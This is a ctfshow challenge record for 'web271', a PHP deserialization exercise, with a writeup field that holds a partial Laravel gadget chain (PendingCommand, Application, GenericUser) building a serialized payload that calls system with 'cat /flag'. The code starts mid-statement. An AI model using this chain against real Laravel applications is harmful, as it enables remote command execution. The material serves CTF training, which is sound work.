| ID: | 3561 |
|---|---|
| 标题: | web271 |
| 描述: | * 此题为 【从0开始学web】系列第二百七十一题 * 此系列题目从最基础开始,题目遵循循序渐进的原则 ``` 举一反三 ``` |
| 类型: | WEB入门.反序列化 |
| 网站: | ctfshow |
| 题目链接: | https://ctf.show/api/v1/challenges/732 |
| 赛事: | 反序列化 |
| 年度: | None |
| Flag值: | 无 |
| writeup: |
验证后的网址 command="system"; $this->parameters[]="cat /flag"; $this->test=new GenericUser(); $this->app=new Application(); } } } namespace Illuminate\Foundation{ class Application{ protected $bindings = []; public function __construct(){ $this->bindings=array( 'Illuminate\Contracts\Console\Kernel'=>array( 'concrete'=>'Illuminate\Foundation\Application' ) ); } } } namespace Illuminate\Auth{ class GenericUser { protected $attributes; public function __construct(){ $this->attributes['expectedOutput']=['hello','world']; $this->attributes['expectedQuestions']=['hello','world']; } } } namespace{ use Illuminate\Foundation\Testing\PendingCommand; echo urlencode(serialize(new PendingCommand())); }?> https://blog.csdn.net/Myon5/article/details/143657655 |